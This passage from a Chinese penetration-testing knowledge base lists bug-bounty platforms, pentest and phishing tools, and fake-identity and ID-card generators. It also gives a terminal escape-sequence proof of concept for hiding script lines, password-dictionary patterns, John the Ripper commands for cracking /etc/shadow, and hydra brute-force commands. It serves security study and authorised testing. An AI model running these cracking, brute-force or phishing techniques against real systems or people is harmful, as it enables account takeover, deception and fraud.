[CNVD 国家信息安全漏洞共享平台](http://www.cnvd.org.cn/) - [DVP去中心化漏洞平台](https://dvpnet.io/) - [教育行业漏洞报告平台](https://src.edu-info.edu.cn/) - [ALLSEC首页](https://www.allsec.cn/index.html) **国内公司** - [蚂蚁金服安全应急响应中心官网 - AFSRC](https://security.alipay.com/) - [阿里安全响应中心](https://security.alibaba.com/) - [字节跳动安全中心](https://security.bytedance.com/index/) - [腾讯安全应急响应中心](https://security.tencent.com/) - [Xiaomi Security Center](https://sec.xiaomi.com/) - [爱奇艺安全应急响应中心](https://security.iqiyi.com/) - [哔哩哔哩安全应急响应中心](https://security.bilibili.com/) - [菜鸟安全应急响应中心](https://sec.cainiao.com/) - [点融网安全应急响应中心](https://security.dianrong.com/) - [百度安全应急响应中心](http://sec.baidu.com/views/main/index.html#home) - [饿了吗 ASRC | 阿里本地生活安全响应中心](https://security.ele.me/) - [东方财富安全应急响应中心](https://security.eastmoney.com/) - [滴滴出行安全应急响应中心](http://sec.didichuxing.com/) - [富友安全应急响应中心](https://fsrc.fuiou.com/home/index.html) - [瓜子安全应急响应中心](https://security.guazi.com/home) - [好未来安全应急响应中心](http://src.100tal.com/) - [焦点安全应急响应中心](https://security.focuschina.com/) - [京东安全应急响应中心](https://security.jd.com/#/) - [竞技世界安全应急响应中心](https://security.jj.cn/) - [金山安全应急响应中心](http://sec.kingsoft.com/) - [快手安全应急响应中心](https://security.kuaishou.com/#/) - [美丽联合集团安全应急响应中心](https://security.mogu.com/#/) - [美团安全应急响应中心](https://security.meituan.com/#/home) - [魅族安全中心](https://sec.meizu.com/) - [Mobike安全响应中心](https://security.mobike.com/) - [搜狗安全应急响应中心](http://sec.sogou.com/) - [同程艺龙安全应急响应中心](https://sec.ly.com/) - [途牛安全应急响应中心](https://sec.tuniu.com/) - [苏宁安全应急响应中心](https://security.suning.com/ssrc-web/index.jsp) - [VIPKID安全应急响应中心](https://security.vipkid.com.cn/) - [挖财安全应急响应中心](https://sec.wacai.com/) - [应急响应 - 网易安全中心](https://aq.163.com/module/hole/hole-submit.html) - [WDSRC - 微贷安全应急响应中心](https://sec.weidai.com.cn/) - [微博安全应急响应中心](https://wsrc.weibo.com/) - [完美世界安全应急响应中心](http://security.wanmei.com/) - [VSRC首页-唯品会信息安全中心](https://sec.vip.com/) - [微众安全响应中心](https://security.webank.com/) - [WIFI万能钥匙安全响应中心](https://sec.wifi.com/) - [携程安全应急响应中心](https://sec.ctrip.com/) - [58安全应急响应中心](https://security.58.com/) - [陌陌安全应急响应中心](https://security.immomo.com/) - [平安集团安全应急响应中心](https://security.pingan.com/) - [千米电商云安全应急响应中心](http://security.qianmi.com/) - [融360安全应急响应中心](https://security.rong360.com/#/) - [去哪儿安全应急响应中心](http://security.qunar.com/) - [新浪安全应急响应中心](http://sec.sina.com.cn/) - [宜人贷安全应急响应中心](https://security.yirendai.com/) - [中通安全应急响应中心 (ZSRC) ](https://sec.zto.com/home) - [智联招聘应急响应中心](https://src.zhaopin.com/#/) - [宜信安全应急响应中心](http://security.creditease.cn/) - [猪八戒网安全响应中心](https://security.zbj.com/) - [顺丰安全应急响应中心](http://sfsrc.sf-express.com/index) **文章/tips** - [那些年挖过的 SRC 之我是捡漏王](https://www.freebuf.com/vuls/198327.html) - [刷 SRC 经验之批量化扫描实践](https://www.freebuf.com/sectool/176562.html) - [Bug Bounty Tips](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/bugbountytips.md) ``` Tip #1 使用 GIT 作为侦察工具. 找到目标的 GIT 存储库,克隆它们,然后检查日志,以获取不一定在源代码中包含的团队信息.假设目标是 Reddit,我想看看哪些开发人员在某些项目上工作. 例如:https://gist.github.com/EdOverflow/a9aad69a690d97a8da20cd4194ca6596 Tip #2 在目标或属于目标上查找 GitLab 实例. 当你偶然发现 GitLab 登录面板时,请导航到 /explore. 配置错误的实例不需要身份验证即可查看内部项目. 一旦你进入,使用搜索功能来查找密码,密钥等.这是一个非常大的攻击媒介,我今天终于揭露它,因为我相信它会帮助你们很多人得到一些关键问题. Tip #3 Bug 赏金提示:测试需要花钱或需要手动设置的公司的应用程序. 很少有人甚至没有人会测试它而让它变得脆弱. Tip #4 如果你发现了一个可以改变其他人数据的 IDOR,那么不要着急去报告它 > 把它修改成 XSS Payload & 如果输入未被清理 & 变量没有被转义就被回显,那么IDOR>XSS>ATO. Tip #5 寻找与 hackathon-related 相关的资产. 我的意思是,有时公司会运行 hackathon-related 并让与会者特别访问某些 API 端点和临时凭证. 我发现为 Hackathons 设置的 GIT 实例充满了信息,这些信息允许我在目标中发现更多问题. Tip #6 保留所有目录爆破结果,以便当像 Drupalgeddon2 这样的 CVE 出来时,你可以查找以前找到的实例 (cat dirsearch/reports// | grep INSTALL.mysql.txt | grep 200 | less)/ ``` - [List of bug bounty writeups · Pentester Land](https://pentester.land/list-of-bug-bounty-writeups.html) - 巨多的案例,真的看不完 - [reddelexc/hackerone-reports](https://github.com/reddelexc/hackerone-reports) - [giteshnxtlvl/YourNextBugTip](https://github.com/giteshnxtlvl/YourNextBugTip) - [120 Days of High Frequency Hunting](https://kuldeep.io/posts/120-days-of-high-frequency-hunting/) - [How to Start Bug Bounties 101 & How to Make a Million in 4 Years](https://ozguralp.medium.com/how-to-start-bug-bounties-101-how-to-make-a-million-in-4-years-e15ee62d6f4) - [打造全自动漏洞赏金扫描工具](https://mp.weixin.qq.com/s/nB8mzrUS28ZYj0xwaVkhvw) - [J0o1ey/BountyHunterInChina](https://github.com/J0o1ey/BountyHunterInChina) - [Telegram bug bounties: XSS, privacy issues, official bot exploitation and more…](https://davtur19.medium.com/telegram-bug-bounties-xss-privacy-issues-official-bot-exploitation-and-more-5277fa78435) - [SRC挖洞信息搜集和快速定位SRC框架](https://mp.weixin.qq.com/s/fMZDZK1gzwUaSQ1A-WA5Gw) **资产资源** - https://i.hacking8.com/src/ - https://github.com/TSlayman/Bug-Hunting-Domains --- ### 面试技巧 - [FeeiCN/SecurityInterviewGuide](https://github.com/FeeiCN/SecurityInterviewGuide) - 网络信息安全从业者面试指南(持续补充各公司招聘面试题目和侧重点) - [Leezj9671/Pentest_Interview](https://github.com/Leezj9671/Pentest_Interview) - 个人准备渗透测试和安全面试的经验之谈,和去部分厂商的面试题 - [Kit4y/2020-Interview-experience](https://github.com/Kit4y/2020-Interview-experience) - 安全和开发方向-2020年春季师傅们的面经 - [d1nfinite/sec-interview](https://github.com/d1nfinite/sec-interview) - 信息安全面试题汇总 --- ## 安全工具 ### 工具资源 - [Jack-Liang/kalitools](https://github.com/Jack-Liang/kalitools) - [k8gege/K8tools](https://github.com/k8gege/K8tools) - [Mr-xn/hackbar2.1.3](https://github.com/Mr-xn/hackbar2.1.3) - [HCTYMFF/hackbar2.1.3](https://github.com/HCTYMFF/hackbar2.1.3) - [Kali Linux Tools Listing | Penetration Testing Tools](https://tools.kali.org/tools-listing) - [信息安全工具汇总](http://www.nsoad.com/Security-tools/20180730/tools-1217.html) - [LasCC/Hack-Tools](https://github.com/LasCC/Hack-Tools) - [wudimahua/Firewall](https://github.com/wudimahua/Firewall) ### 渗透套件 - **kali** - 专用于渗透测试的操作系统 - [kali 笔记](./安全工具/Kali.md) - **CobaltStrike** - 后渗透神器 - [CobaltStrike 笔记](./安全工具/CobaltStrike.md) - [Empire](https://github.com/BC-SECURITY/Empire/) - 基于 PowerShell 和 Python 的后渗透框架,常用于生成免杀 - 相关文章 - [[技术分享]一篇文章精通 PowerShell Empire 2.3(上)](https://www.anquanke.com/post/id/87328) - [[技术分享]一篇文章精通 PowerShell Empire 2.3(下)](https://www.anquanke.com/post/id/87333) - 图形化 UI - [leeberg/BlueCommand](https://github.com/leeberg/BlueCommand) - 使用 PowerShell Universal Dashboard 为 PowerShell Empire 提供仪表板和工具化前端服务 - [BC-SECURITY/Starkiller](https://github.com/BC-SECURITY/Starkiller) - **metasploit** - 漏洞利用框架 - [metasploit 笔记](./安全工具/Metasploit.md) - [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/) - 一个 PowerShell 渗透模块集合框架 - [monkey](https://github.com/guardicore/monkey) - 自动渗透工具 - [Ladon](https://github.com/k8gege/Ladon) - 大型内网渗透扫描器&Cobalt Strike,包含信息收集/端口扫描/服务识别/网络资产/密码爆破/漏洞检测/漏洞利用. - [railgun](https://github.com/lz520520/railgun) - 漏洞利用+ctftools+信息收集,非常强大的集成工具 - [yaklang/yakit](https://github.com/yaklang/yakit) - Yakit是基于yak语言开发的网络安全单兵工具,旨在打造一个覆盖渗透测试全流程的网络安全工具库。 - [dstotijn/hetty](https://github.com/dstotijn/hetty) - An HTTP toolkit for security research. --- ### 抓包工具 **BurpSuite** - [BurpSuite 笔记](./安全工具/BurpSuite.md) **Wireshark** - [Wireshark 笔记](./安全工具/Wireshark.md) **[Fiddler](https://www.telerik.com/fiddler)** Fiddler 是一个用于 HTTP 调试的代理服务器应用程序 **[charles](https://www.charlesproxy.com/)** Charles Web 调试代理是用 Java 编写的跨平台 HTTP 调试代理服务器应用程序。它使用户能够查看从本地计算机访问的 HTTP,HTTPS,HTTP / 2 以及从本地计算机访问或通过本地计算机访问的已启用的 TCP 端口通信。这包括请求和响应,包括 HTTP 标头和元数据,其功能旨在帮助开发人员分析连接和消息传递。 **[mitmproxy](https://github.com/mitmproxy/mitmproxy)** **[proxify](https://github.com/projectdiscovery/proxify)** --- ## CTF - [CTF 笔记](./CTF/CTF.md) --- ## Crypto - [Crypto 笔记](./Crypto/Crypto.md) --- ## Misc ### 钓鱼社工 **钓鱼案例** - [指尖博弈——FBI竟建立虚假联邦快递网站](https://www.anquanke.com/post/id/166650) - [Cookie Maker:隐藏在Google Docs中的恶意网络](https://www.anquanke.com/post/id/165033) - [利用斯拉夫字母辅助社会工程学攻击思路](https://bbs.ichunqiu.com/thread-46462-1-2.html) - [XXXX第X次内部红蓝对抗](https://xz.aliyun.com/t/10731) - [攻击技术研判|利用Google Docs的评论功能投递钓鱼链接](https://mp.weixin.qq.com/s/jSlBU9KRnf7Bf70Pq5A81g) - [攻击技术研判 | 近期频发钓鱼新手法:伪造弹出登录窗口进行钓鱼攻击](https://mp.weixin.qq.com/s/xXMZ-5ELVw7YOuKFDg4KMw) - [一文洞察攻防演练期间的钓鱼木马手法](https://mp.weixin.qq.com/s/8chNYrstha_dwuClJzyCNA) - [攻击技术研判|钓鱼网站反分析手法升级](https://mp.weixin.qq.com/s/3ywlCNuIFU0kQmbAvrXF8Q) **社工案例** - [一个精壮的代购骗子被我彻底征服](https://bbs.ichunqiu.com/thread-37565-1-3.html) - [看我如何破解xiaoba勒索病毒最新版并社工](https://bbs.ichunqiu.com/thread-29598-1-1.html) - [[忍无可忍]揭秘一个专门针对学生家长下手的诈骗团伙](https://bbs.ichunqiu.com/thread-46370-1-1.html) - [一个xss漏洞到内网漫游](https://bbs.ichunqiu.com/thread-46068-1-1.html) - [从社工考试答案到发现惊天作弊团伙](https://bbs.ichunqiu.com/thread-43205-1-1.html) - [卧薪尝胆~揭秘新型刷票骗局,击溃骗子的心肝脾肺肾!](https://bbs.ichunqiu.com/thread-43341-1-1.html) - [对某黑产大佬的一次扒皮](https://bbs.ichunqiu.com/thread-42939-1-1.html) - [记一次对色情网站拥有人身份的挖掘](https://nosec.org/home/detail/1869.html) - [这回不定位女友了:火车票上的星号暗藏玄机?!](http://www.freebuf.com/articles/database/143402.html) - [常见社工方法以及如何防社工](https://bbs.ichunqiu.com/thread-29654-1-21.html) - [从群体电脑蓝屏到反黑幕后黑手](https://aq.mk/index.php/archives/8/) - [杨猛 | 世界上最好的在线游戏:追踪杀手,也调查冲突和毒枭](https://mp.weixin.qq.com/s/L_0vAnJtlfL_8rNIIPPAOQ) - [我被人吞了一部手机,调查后发现对方是淘宝打假人](https://www.secpulse.com/archives/96599.html) - ["答应我,别做违法事"——我是如何劝色情网站操控者从良的](https://www.secpulse.com/archives/97015.html) - [QQ申诉那点事](http://www.mottoin.com/detail/2943.html) - [朋友圈别瞎发照片,指不定跟踪狂就是这样找到你家的](https://www.secpulse.com/archives/98492.html) - [社会工程学(Social Engineering)真实案例](https://ai-sewell.me/2020/%E7%A4%BE%E4%BC%9A%E5%B7%A5%E7%A8%8B%E5%AD%A6-Social-Engineering-%E7%9C%9F%E5%AE%9E%E6%A1%88%E4%BE%8B/) - [如何使用账户恢复功能追踪目标人?- 开源情报搜集方法](https://www.iyouport.org/%e5%a6%82%e4%bd%95%e4%bd%bf%e7%94%a8%e8%b4%a6%e6%88%b7%e6%81%a2%e5%a4%8d%e5%8a%9f%e8%83%bd%e8%bf%bd%e8%b8%aa%e7%9b%ae%e6%a0%87%e4%ba%ba%ef%bc%9f-%e5%bc%80%e6%ba%90%e6%83%85%e6%8a%a5%e6%90%9c%e9%9b%86/) **定位** - [Seeker](http://www.freebuf.com/sectool/179641.html) - 一款可获取高精度地理和设备信息的工具 **身份信息** - [Generate a Random Name](https://www.fakenamegenerator.com/) - 随机身份生成 - [Fake Address, Random Address Generator](https://www.fakeaddressgenerator.com/Index/index) - 随机身份生成 - [Behind the Name](https://www.behindthename.com/random/) - Random Name Generator - [Easy Random Name Picker](https://randomwordgenerator.com/name.php) - Random Name Generator - [ElfQrin](https://www.elfqrin.com/fakeid.php) - Fake Identity ID Random Name Generator - [Random User Generator](https://randomuser.me/) - [在线身份证号码生成器](http://jbjb.zouri.jp/) - [中国大陆内地姓名、身份证号、银行卡号生成器](http://jsrun.net/square?page=1&s=%E8%BA%AB%E4%BB%BD%E8%AF%81%E5%8F%B7) - [在线身份证号码生成器](https://id.ifreesite.com/) - [airob0t/idcardgenerator 身份证图片生成工具](https://github.com/airob0t/idcardgenerator) - [gh0stkey/RGPerson](https://github.com/gh0stkey/RGPerson) - 随机身份生成脚本 - [naozibuhao/idcard](https://github.com/naozibuhao/idcard) - 身份证生成器 - [伪造人像](thispersondoesnotexist) - [Just Delete Me](https://backgroundchecks.org/justdeleteme/fake-identity-generator/) - 假身份生成器(这个网站的图标,好像在哪里看过🤔) **rlo** - 相关文章 - [RLO文件名欺骗](https://blog.csdn.net/mgxcool/article/details/50637346) - [木马逆名欺骗:利用unicode控制符RLO](https://blog.csdn.net/kencaber/article/details/50649606) **URL 欺骗** - 相关文章 - [Phishing with Unicode Domains](https://www.xudongz.com/blog/2017/idn-phishing/) #### 复制篡改 **相关文章** - [Copy-Paste from Website to Terminal](https://thejh.net/misc/website-terminal-copy-paste) - [Pastejacking](https://security.love/Pastejacking/) #### Escape Sequences **相关文章** - [Terminal Escape Injection](https://www.infosecmatter.com/terminal-escape-injection/) - [Terminal escape sequences - the new XSS for Linux sysadmins](https://ma.ttias.be/terminal-escape-sequences-the-new-xss-for-linux-sysadmins/) - [s/party/hack like it's 1999](https://www.openwall.com/lists/oss-security/2015/09/17/5) - [Hiding from cats](https://github.com/d3npa/writeups/blob/master/unix/hiding-from-cats.md) - [Don’t Trust This Title: Abusing Terminal Emulators with ANSI Escape Characters](https://www.cyberark.com/resources/threat-research-blog/dont-trust-this-title-abusing-terminal-emulators-with-ansi-escape-characters) **poc** ```bash # linux echo -e '#!/bin/sh\n\necho "evil!"\nexit 0\n\033[2Aecho "Hello World!"\n' > script.sh chmod a+x script.sh # python echo -e '#!/usr/bin/python\n\nprint "evil!";\nexit(0);\n#\033[2A\033[1Dprint "Hello World!";\n' > script.py chmod a+x script.py # Batch echo -e '@echo off\n\r\n\recho evil!\r\n::\033[2D \033[A\033[2Decho Hello World!' > script.bat # PowerShell echo -e 'write-host "evil!"\r\n#\033[A\033[2Dwrite-host "Hello World!"' > script.ps1 ``` **Bypassing the Bracket Paste Mode** ```bash ESC[201~clear; echo "Bypass Bracketed Paste Mode" ``` #### Email钓鱼 **相关文章** - [关于电子邮件诈骗的一些分析](http://www.4hou.com/web/13931.html) - [一个邮箱账号的展开式](https://www.freebuf.com/articles/others-articles/213744.html) - [记一次钓鱼测试](https://chriskalix.github.io/post/bKTmLyJeL/) **相关工具** - [邮件轰炸机-垃圾邮件发送器](http://www.skyju.cc/mailhzj.html) - [SkewwG/henggeFish](https://github.com/SkewwG/henggeFish) - 自动化批量发送钓鱼邮件 **SMTP** - 见 [Protocol-Exploits](./RedTeam/协议安全/Protocol-Exploits.md#smtp) SMTP 部分 #### office钓鱼 **相关文章** - [攻防演练对抗赛之初识文件钓鱼](https://www.freebuf.com/articles/network/219999.html) - [攻击技术研判 | 利用Excel默认密码实现静态免杀静态并减少钓鱼步骤](https://mp.weixin.qq.com/s/n7ecBEtVghQEEL162bWqFg) - [攻击技术研判 | 后宏时代:PPT鼠标悬停事件的新利用](https://mp.weixin.qq.com/s/ebKhYcPYtClgWk7JkcIYFg) - [AWS S3 Bucket子域接管实现可信钓鱼服务攻击](https://mp.weixin.qq.com/s/9BeHub6YCp0oM8jHrK6_dg) - [文本类型的免杀](https://mp.weixin.qq.com/s/xwjjP5OrrxCfazBf6i_J1g) **漏洞利用** - [Office漏洞利用](./RedTeam/软件服务安全/DesktopApps-Exploits.md#office) #### 水坑钓鱼 **相关文章** - [水坑钓鱼研究](https://mp.weixin.qq.com/s/UEsTs8WmGVSTlNMDg-lrgA) - [实战钓鱼中的html附件利用](https://mp.weixin.qq.com/s/0EGabIYg6fVML0fdPu6n3Q) **相关工具** - [HTTrack](http://topspeedsnail.com/httrack-clone-website/) - 克隆任意网站 - [thelinuxchoice/blackeye](https://github.com/thelinuxchoice/blackeye) - 网络钓鱼工具,有32个模板+1定制 - [SET](https://github.com/trustedsec/social-engineer-toolkit/) - [SET 笔记](./安全工具/SET.md) - [gophish/gophish](https://github.com/gophish/gophish) - Open-Source Phishing Toolkit - [xiecat/goblin](https://github.com/xiecat/goblin) - 一款适用于红蓝对抗中的仿真钓鱼系统 - [Threezh1/SiteCopy](https://github.com/Threezh1/SiteCopy) --- ### 爆破 网络中有需要登陆的地方即需要口令或密码,特别是网站管理后台和邮箱,如果使用弱口令,一旦被人猜到或破解,就如同拿到了钥匙,随意进出,网络资产将面临巨大的风险。当然,不只是后台,一些 api 端点存在的认证,jwt密钥,等等,都存在爆破的可能 #### 字典 **Tips** 1. 按场景来看,敏感的场景,目标或业务量大的场景,字典不是越多越好,力求精简,求快,不要把功夫全放在 fuzz 上,条件允许的话就针对目标专门定制一个字典,这可能涉及到一些社工的技巧. 2. 如果没有安全设备,那就随便搞吧,先来个 [TOP10]*[TOP10000] 再说. 3. 字典还是自己收集整理的最好,有空的话,建议把 github 上的自己分分类,把什么 `Hentai`、`pussy`、`dick` 这种奇奇怪怪的密码早点删了🤣. 4. 数据库是管理字典的好帮手,善用统计、去重功能有奇效. 5. 很多厂商设备默认口令可以在这个网站找到 https://default-password.info/ 6. 要想在实战中用好爆破的各种攻击技术一定要学好加密知识,不要 "练拳不练功,到老一场空" **字典规则** 常见组合 (Common) - `payload` + 123 - `payload` + 1234 - `payload` + 123456 - `payload` + 12345 - `payload` + @123 - `payload` + @123456 - `payload` + @12345 - `payload` + #123 - `payload` + #123456 - `payload` + #12345 - `payload` + _123 - `payload` + _123456 - `payload` + _12345 - `payload` + 123!@# - `payload` + !@#$ - `payload` + !@# - `payload` + ~!@ - `payload` + !@#123 - `payload` + 2017 - `payload` + 2016 - `payload` + 2015 - `payload` + @2017 - `payload` + @2016 - `payload` + @2015 生日组合 (Birthday) - 19880808 - tony19980808 - tony@19980808 年份列表 (years) - 1987 - 1988 - 1989 1337模式替换 (leet) - 1earn 键盘布局 (Keyboard layout) - qwerty 大小写变换 (case reversal) - admin - Admin - admIn 单位名+`@`+`年份/123/或常见弱口令` (company + sth.) - Huawei@123 单位名+小写业务名+`@`+`年份/123/或常见弱口令` (company + business + sth.) - BEIJINGXXyy@2019 大写地名+小写业务名+`@`+`年份/123/或常见弱口令` (Place + business + sth.) - BEIJINGinfo@2019 大写城市+小写区县+单位名 (Uppercase city + lowercase district/county + unit name + sth.) - BJ_cy_yey(北京_朝阳_幼儿园) 管理员名+`@`+`年份/123/或常见弱口令` (Administrator + sth.) - tony@2019 医院工号 (Hospital staff ID) - 0000-9999 公司相关信息 域名+简称 (Company Information Domain+Abbreviation) - wy@360buy - xxx.com@123 拼音 - zhangsan - zhang.san - zhangs 中文 - 张三 - 李四 - 张san **相关文章** - [关于字典整理的心得分享](https://www.t00ls.net/viewthread.php?tid=58288) - [强弱密码爆破的姿势](https://www.yuque.com/pmiaowu/bomi9w/ougg6d) **字典编辑工具** - [PilotEdit](https://www.pilotedit.com/) - 大文件编辑器 (Large file editor) - [glogg](https://glogg.bonnefon.org/download.html) - 大文件查看工具(只读) (Large file viewing tool (read only)) **字典生成工具** - [LandGrey/pydictor](https://github.com/LandGrey/pydictor) - 一个强大实用的黑客暴力破解字典建立工具 - [crunch](https://sourceforge.net/projects/crunch-wordlist/) - 字典生成工具 - [RicterZ/genpAss](https://github.com/RicterZ/genpAss) - 中国特色的弱口令生成器 - [自制弱口令字典 top100](https://gv7.me/articles/2017/making-the-password-top-100/) - [HongLuDianXue/BaiLu-SED-Tool](https://github.com/HongLuDianXue/BaiLu-SED-Tool) - 白鹿社工字典生成器,灵活与易用兼顾。 - cewl - 可抓取网站信息用于生成密码的工具,kali 自带 ``` cewl http://xxx.com -w out.txt ``` - [Mebus/cupp](https://github.com/Mebus/cupp) - [r3nt0n/bopscrk](https://github.com/r3nt0n/bopscrk) - [ffffffff0x/name-fuzz](https://github.com/ffffffff0x/name-fuzz) - 针对目标已知信息的字典生成工具 - [ffffffff0x/gendict](https://github.com/ffffffff0x/gendict) - 针对目标已知信息的字典生成工具 **杂项字典** - [AboutSecurity/Dic](https://github.com/ffffffff0x/AboutSecurity) - [Stardustsky/SaiDict](https://github.com/Stardustsky/SaiDict) - 字典分类的不错 - [rootphantomer/Blasting_dictionary](https://github.com/rootphantomer/Blasting_dictionary) - 爆破字典 - [Weakpass](https://weakpass.com/) - [danielmiessler/SecLists](https://github.com/danielmiessler/SecLists) - [r35tart/RW_Password](https://github.com/r35tart/RW_Password) - 此项目用来提取收集以往泄露的密码中符合条件的强弱密码 - [wainshine/Chinese-Names-Corpus](https://github.com/wainshine/Chinese-Names-Corpus) - 中文人名语料库.中文姓名,姓氏,名字,称呼,日本人名,翻译人名,英文人名.成语词典. - [modood/Administrative-divisions-of-China](https://github.com/modood/Administrative-divisions-of-China) - 中华人民共和国行政区划:省级(省份直辖市自治区)、 地级(城市)、 县级(区县)、 乡级(乡镇街道)、 村级(村委会居委会) ,中国省市区镇村二级三级四级五级联动地址数据 Node.js 爬虫. - [berzerk0/Probable-Wordlists](https://github.com/berzerk0/Probable-Wordlists) - [minimaxir/big-list-of-naughty-strings](https://github.com/minimaxir/big-list-of-naughty-strings) - [k8gege/PasswordDic](https://github.com/k8gege/PasswordDic) - 2011-2019年Top100弱口令密码字典 Top1000密码字典 服务器 SSH/VPS 密码字典 后台管理密码字典 数据库密码字典 - [xnohat/vipasswordict: Vietnamese Password Dicts](https://github.com/xnohat/vipasswordict) - 越南语字典 - [huyuanzhi2/password_brute_dictionary](https://github.com/huyuanzhi2/password_brute_dictionary) - 口令爆破字典,有键盘组合字典、拼音字典、字母与数字混合这三种类型 - [SmithEcon/Fuzz_dic](https://github.com/SmithEcon/Fuzz_dic) - 参数 | 字典 collections - [Debdut/names.io](https://github.com/Debdut/names.io) - 英文人名大全 - [lutfumertceylan/top25-parameter](https://github.com/lutfumertceylan/top25-parameter) - [Assetnote Wordlists](https://wordlists.assetnote.io/) **Web 字典** - [AboutSecurity/Dic/Web](https://github.com/ffffffff0x/AboutSecurity/tree/master/Dic/Web) - [H4lo/dictionary](https://github.com/H4lo/dictionary) - [TheKingOfDuck/fuzzDicts](https://github.com/TheKingOfDuck/fuzzDicts) - Web Pentesting Fuzz 字典 - [Bo0oM/fuzz.txt](https://github.com/Bo0oM/fuzz.txt) - Potentially dangerous files - [EdOverflow/bugbounty-cheatsheet](https://github.com/EdOverflow/bugbounty-cheatsheet) - A list of interesting payloads, tips and tricks for bug bounty hunters. - [tennc/fuzzdb](https://github.com/tennc/fuzzdb) - 一个 fuzzdb 扩展库 - [7dog7/bottleneckOsmosis](https://github.com/7dog7/bottleneckOsmosis) - fuzz param,注释,js 字典,ctf - [boy-hack/wooyun-payload](https://github.com/boy-hack/wooyun-payload) - 从乌云漏洞库中提取的扫描规则 - [DictionaryHouse/Dirpath_List](https://github.com/DictionaryHouse/Dirpath_List) - [insightglacier/Dictionary-Of-Pentesting](https://github.com/insightglacier/Dictionary-Of-Pentesting) - [p0dalirius/webapp-wordlists](https://github.com/p0dalirius/webapp-wordlists) - [f0ng/JavaFileDict](https://github.com/f0ng/JavaFileDict) - Java应用的一些配置文件字典,来源于公开的字典与平时收集 **设备默认口令** - [Default passwords list - Select manufacturer](https://default-password.info/) - [Default Router Login, Passwords and IP Addresses](https://www.cleancss.com/router-default/) - [Default Passwords | CIRT.net](https://cirt.net/passwords) - [List of Default Passwords](https://datarecovery.com/rd/default-passwords/) - [Router Passwords](https://portforward.com/router-password/) - [Router Passwords Community Database - The Wireless Router Experts](https://www.routerpasswords.com/) - [defaultpassword.us](http://defaultpassword.us/) - [passwordsdatabase](http://passwordsdatabase.com/) - [Open Sez Me!](http://open-sez.me/) --- #### Hash爆破 - https://hashes.org/index.php **相关工具** - [moyuwa/toppwdhash](https://github.com/moyuwa/toppwdhash) - 常见密码哈希离线查询工具 , 包含算法类型 'md5', 'md5x2', 'md5x3', 'sha1', 'ntlm', 'mysql', 'mysql5', 'md5_sha1', 'sha1_sha1', 'sha1_md5', 'md5_base64', 'md5_middle' **Hashcat** - [Hashcat 笔记](./安全工具/Hashcat.md) **John the Ripper** - 官网 : https://www.openwall.com/john/ - 相关工具 - [Johnny](https://openwall.info/wiki/john/johnny) - GUI 版本的 John the Ripper - 相关文章 - [Kali Linux:使用John the Ripper破解密码](http://topspeedsnail.com/John-the-Ripper-learn/) - [/etc/shadow文件破解,密码破解,md5,SHA256,SHA512破解](https://blog.csdn.net/NetRookieX/article/details/96431981) - 跑未加密文件名的 7z 压缩包 ```bash wget https://raw.githubusercontent.com/philsmd/7z2hashcat/master/7z2hashcat.pl perl 7z2hashcat.pl file.7z > hash.txt # https://github.com/philsmd/7z2hashcat john --wordlist=pass1.txt hash.txt ``` - 跑 linux shadow 文件 ```bash mkdir /root/.john cp passwd /root/.john cp shadow /root/.john cd /root/.john unshadow passwd shadow > hash.txt gunzip /usr/share/wordlists/rockyou.txt.gz john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt ``` - 补充 跑 GPG,用 gpg2john 把它转换成 john 能理解的 hash 值再跑 ```bash gpg2john test.gpg > hash john --wordlist=wordlist.txt hash ``` --- #### Web爆破 **Tips** - 目录、文件是一个关键点,别忘了尝试对 GET、POST 参数进行 Fuzz、甚至 user-agent、cookie 都可以 fuzz - wfuzz 是个神器、一定要会用 **相关工具** - [wfuzz](./安全工具/Wfuzz.md) - Burpsuite - [lijiejie/htpwdScan](https://github.com/lijiejie/htpwdScan) - 一个简单的 HTTP 暴力破解、撞库攻击脚本 ``` htpwdScan.py -u https://jigsaw.w3.org/HTTP/Basic/ --auth user.txt passwd.txt htpwdScan.py -u https://jigsaw.w3.org/HTTP/Basic/ --auth tests/leaked_db.txt htpwdScan.py -u https://jigsaw.w3.org/HTTP/Digest/ --auth user.txt passwd.txt --pass-first htpwdScan.py -u https://mail.owa-domain.com/ews --auth user.txt pass.txt --pass-first ``` - [yzddmr6/WebCrack](https://github.com/yzddmr6/WebCrack) - web 后台弱口令/万能密码批量爆破、检测工具.支持主流及部分小众 CMS. ``` python3 webcrack.py ``` --- #### 端口爆破 **通用工具** - [shack2/SNETCracker](https://github.com/shack2/SNETCracker) - Windows 平台的弱口令工具,多线程检查.速度快,准确度高,推荐,可爆破 SSH、RDP、SMB、MySQL、MSSQL、ORACLE、FTP、MongoDB、Memcache、PostgreSQL、Telnet、SMTP、SMTP_SSL、POP3、POP3_SSL、IMAP、IMAP_SSL、VNC、Redis - `3389-RDP操作异常-无法获取"RdpClient"控件的窗口句柄.不支持无窗口的 ActiveX 控件` 报错就把线程调低,建议rdp小于10个线程. - `SSH登录发生异常!Could not load file or assembly 'ChilkatDotNet4.dll' or one of its dependencies. 找不到指定的模块. at SNETCracker.Model.CrackSSH.creack(String ip, Int32 port, String username, String password, Int32 timeOut)` ssh 模块需要 vc++2010 32 位支持,下载安装就行了. - `oracle 由于实例名不一定是 orcl,所以成功率较低.设置中可以改` - [vanhauser-thc/thc-hydra](https://github.com/vanhauser-thc/thc-hydra) - hydra 不多说了,支持多种网络服务的认证破解工具 ``` hydra -l admin -p password ftp://localhost/ hydra -L default_logins.txt -p test ftp://localhost/ hydra -l admin -P common_passwords.txt ftp://localhost/ hydra -L logins.txt -P passwords.txt ftp://localhost/ hydra -l "" -P ./pass -e n -t 1 10.0.0.100 vnc -V hydra -L ./users -P ./pass -e ns -t 1 10.0.0.50 telnet -v hydra -l root -P ./pass.dic 1.1.1.1 ssh ``` - [lanjelot/patator](https://github.com/lanjelot/patator) - 一款多功能暴力破解工具,具有模块化设计和灵活的用法。使用语法简直折磨人. - [netxfly/x-crack](https://github.com/netxfly/x-crack) - GO 语言写的弱口令扫描器,开发教程很详细,推荐,其支持: FTP/SSH/SNMP/MSSQL/MYSQL/PostGreSQL/REDIS/ElasticSearch/MONGODB - [galkan/crowbar](https://github.com/galkan/crowbar) - Crowbar 是一个可以在渗透测试中使用的暴力破解工具。它的开发是为了支持 thc-hydra 和其他流行的暴力破解工具目前不支持的协议。 - [awake1t/PortBrute](https://github.com/awake1t/PortBrute) - 一款跨平台小巧的端口爆破工具,支持爆破FTP/SSH/SMB/MSSQL/MYSQL/POSTGRESQL/MONGOD / A cross-platform compact port blasting 